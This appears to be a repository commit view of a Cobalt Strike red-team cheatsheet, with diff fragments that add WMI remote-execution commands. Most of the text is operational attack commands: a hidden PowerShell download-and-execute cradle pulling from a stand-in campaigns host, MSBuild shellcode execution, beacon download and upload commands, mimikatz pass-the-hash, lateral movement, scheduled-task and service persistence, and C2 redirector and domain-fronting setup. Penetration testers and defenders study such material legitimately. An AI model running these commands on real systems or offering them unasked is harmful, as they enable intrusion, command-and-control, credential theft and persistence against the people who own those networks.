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WMI + Cobalt Strike
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Methodology and Resources/Cobalt Strike - Cheatsheet.md
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Methodology and Resources/Cobalt Strike - Cheatsheet.md
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# Cobalt Strike
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> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
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```powershell
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$ sudo apt-get update
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$ sudo apt-get install openjdk-11-jdk
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$ sudo apt install proxychains socat
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$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
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$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
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$ ./cobaltstrike
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$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
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```
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## Summary
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* [Infrastructure](#infrastructure)
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* [Redirectors](#redirectors)
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* [Domain fronting](#domain-fronting)
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* [OpSec](#opsec)
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* [Payloads](#payloads)
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* [DNS Beacon](#dns-beacon)
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* [SMB Beacon](#smb-beacon)
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* [Metasploit compatibility](#metasploit-compatibility)
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* [Custom Payloads](#custom-payloads)
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* [Malleable C2](#malleable-c2)
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* [Files](#files)
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* [Powershell .NET](#powershell-net)
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* [Lateral Movement](#lateral-movement)
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* [VPN & Pivots](#vpn--pivots)
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* [Kits](#kits)
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* [Elevate Kit](#elevate-kit)
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* [Persistence Kit](#persistence-kit)
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* [Resource Kit](#resource-kit)
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* [Artifact Kit](#artifact-kit)
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* [TODO](#todo)
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* [References](#references)
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## Infrastructure
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### Redirectors
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```powershell
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sudo apt install socat
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socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
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```
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### Domain Fronting
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* New Listener > HTTP Host Header
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* Target Finance & Healthcare domains
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### OpSec
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**Don't**
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* Change default self-signed HTTPS certificate
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* Change default port (50050)
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* 0.0.0.0 DNS response
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* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
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**Do**
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* Use a redirector (Apache, CDN, ...)
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* Firewall to only accept HTTP/S from the redirectors
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* Firewall 50050 and access via SSH tunnel
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* Edit default HTTP 404 page and Content type: text/plain
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* No staging `set hosts_stage` to `false` in Malleable C2
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## Payload
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### DNS Beacon
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* Edit the Zone File for the domain
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* Create an A record for Cobalt Strike system
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* Create an NS record that points to FQDN of your Cobalt Strike system
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Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
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* nslookup jibberish.beacon polling.campaigns.domain.com
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* nslookup jibberish.beacon campaigns.domain.com
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Example of DNS on Digital Ocean:
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```powershell
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NS example.com directs to 10.10.10.10. 86400
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NS polling.campaigns.example.com directs to campaigns.example.com. 3600
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A campaigns.example.com directs to 10.10.10.10 3600
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```
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```powershell
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systemctl disable systemd-resolved
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systemctl stop systemd-resolved
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rm /etc/resolv.conf
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echo "nameserver 8.8.8.8" > /etc/resolv.conf
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echo "nameserver 8.8.4.4" >> /etc/resolv.conf
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```
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Configuration:
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1. **host**: campaigns.domain.com
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2. **beacon**: polling.campaigns.domain.com
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3. Interact with a beacon, and `sleep 0`
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### SMB Beacon
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Uses Named Pipes.
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Connect to an SMB Beacon : `link [host] [pipe]`
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### Metasploit compatibility
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* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
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* Set LHOST and LPORT to the beacon
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* Set DisablePayloadHandler to True
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* Set PrependMigrate to True
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* exploit -j
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### Custom Payloads
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https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
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```powershell
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* Attacks > Packages > Payload Generator
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* Attacks > Packages > Scripted Web Delivery (S)
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$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
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$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
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$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
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```
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## Malleable C2
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* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
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* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
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* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
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```powershell
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set useragent "SOME AGENT"; # GOOD
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set useragent 'SOME AGENT'; # BAD
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prepend "This is an example;";
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# Escape Double quotes
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append "here is \"some\" stuff";
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# Escape Backslashes
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append "more \\ stuff";
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# Some special characters do not need escaping
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prepend "!@#$%^&*()";
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```
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Check a profile with `./c2lint`.
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```powershell
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#
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# Etumbot Profile
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# http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
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#
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# Author: @harmj0y
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#
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set sample_name "Etumbot";
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set sleeptime "5000";
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set jitter "0";
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set maxdns "255";
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set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
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http-get {
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set uri "/image/";
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client {
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header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
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header "Referer" "http://www.google.com";
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header "Pragma" "no-cache";
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header "Cache-Control" "no-cache";
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metadata {
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netbios;
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append "-.jpg";
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uri-append;
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}
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}
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server {
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header "Content-Type" "img/jpg";
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header "Server" "Microsoft-IIS/6.0";
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header "X-Powered-By" "ASP.NET";
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output {
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base64;
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print;
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}
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}
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}
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http-post {
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set uri "/history/";
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client {
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header "Content-Type" "application/octet-stream";
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header "Referer" "http://www.google.com";
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header "Pragma" "no-cache";
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header "Cache-Control" "no-cache";
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id {
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netbiosu;
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append ".asp";
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uri-append;
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}
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output {
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base64;
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print;
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}
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}
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server {
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header "Content-Type" "img/jpg";
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header "Server" "Microsoft-IIS/6.0";
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header "X-Powered-By" "ASP.NET";
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output {
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base64;
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print;
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}
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}
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}
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```
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## Files
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```powershell
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# List the file on the specified directory
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beacon > ls <C:\Path>
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# Change into the specified working directory
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beacon > cd [directory]
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# Delete a file\folder
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beacon > rm [file\folder]
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# File copy
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beacon > cp [src] [dest]
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# Download a file from the path on the Beacon host
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beacon > download [C:\filePath]
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# Lists downloads in progress
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beacon > downloads
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# Cancel a download currently in progress
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beacon > cancel [*file*]
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# Upload a file from the attacker to the current Beacon host
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beacon > upload [/path/to/file]
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```
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## Powershell .NET
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```powershell
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# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
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beacon > powershell-import [/path/to/script.ps1]
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# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
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beacon > powershell [commandlet][arguments]
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# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
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beacon > powerpick [commandlet] [argument]
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# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
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beacon > psinject [pid][arch] [commandlet] [arguments]
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# Run a local .NET executable as a Beacon post-exploitation job
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beacon > execute-assembly [/path/to/script.exe] [arguments]
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beacon > execute-assembly /home/audit/Rubeus.exe
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[*] Tasked beacon to run .NET program: Rubeus.exe
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[+] host called home, sent: 318507 bytes
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[+] received output:
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______ _
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(_____ \ | |
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_____) )_ _| |__ _____ _ _ ___
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| __ /| | | | _ \| ___ | | | |/___)
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| | \ \| |_| | |_) ) ____| |_| |___ |
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|_| |_|____/|____/|_____)____/(___/
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v1.4.2
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```
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## Lateral Movement
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:warning: All the commands launch powershell.exe
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```powershell
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Beacon Remote Exploits
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======================
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jump [module] [target] [listener]
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psexec x86 Use a service to run a Service EXE artifact
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psexec64 x64 Use a service to run a Service EXE artifact
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psexec_psh x86 Use a service to run a PowerShell one-liner
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winrm x86 Run a PowerShell script via WinRM
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winrm64 x64 Run a PowerShell script via WinRM
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Beacon Remote Execute Methods
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=============================
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remote-exec [module] [target] [command]
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Methods Description
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------- -----------
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psexec Remote execute via Service Control Manager
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winrm Remote execute via WinRM (PowerShell)
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wmi Remote execute via WMI (PowerShell)
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```
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Opsec safe Pass-the-Hash:
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1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
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2. `steal_token PID`
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### Assume Control of Artifact
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* Use `link` to connect to SMB Beacon
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* Use `connect` to connect to TCP Beacon
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## VPN & Pivots
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:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
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> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
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```powershell
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# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
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beacon > socks [PORT]
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# Proxy browser traffic through a specified Internet Explorer process.
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beacon > browserpivot [pid] [x86|x64]
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# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
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beacon > rportfwd [bind port] [forward host] [forward port]
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```
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## Kits
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### Elevate Kit
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UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
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```powershell
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beacon> runasadmin
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Beacon Command Elevators
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========================
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Exploit Description
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------- -----------
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ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
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ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
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ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
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svc-exe Get SYSTEM via an executable run as a service
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uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
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uac-token-duplication Bypass UAC with Token Duplication
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```
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### Persistence Kit
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* https://github.com/0xthirteen/MoveKit
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* https://github.com/fireeye/SharPersist
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```powershell
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# List persistences
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SharPersist -t schtaskbackdoor -m list
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SharPersist -t startupfolder -m list
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SharPersist -t schtask -m list
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# Add a persistence
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SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
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SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
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SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
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SharPersist -t service -n "Some Service" -m remove
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SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
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SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
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SharPersist -t schtask -n "Some Task" -m remove
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```
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### Resource Kit
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> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
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### Artifact Kit
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> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
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## References
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* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
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* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
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* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
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* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
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* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
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* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
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* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
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* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
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* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
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* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
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* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
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* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
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* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
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* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
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@ -113,6 +113,7 @@ List user privilege
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```powershell
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whoami /priv
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whoami /groups
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```
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List all users
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@ -11,6 +11,7 @@
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* [Metasploit - Psexec](#metasploit-psexec)
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* [Crackmapexec](#crackmapexec)
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* [Winexe](#winexe)
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* [WMI](#wmi)
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* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
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* [PsExec - Sysinternal](#psexec-sysinternal)
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* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
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@ -106,6 +107,12 @@ Integrated to Kali
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winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
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```
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## WMI
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```powershell
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wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
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```
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## Psexec.py / Smbexec.py / Wmiexec.py
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from Impacket
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@ -36,3 +36,4 @@ sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
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- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
|
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- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
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- [Mini WebSocket CTF - January 27, 2020 - Snowscan](https://snowscan.io/bbsctf-evilconneck/#)
|
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Reference in a new issue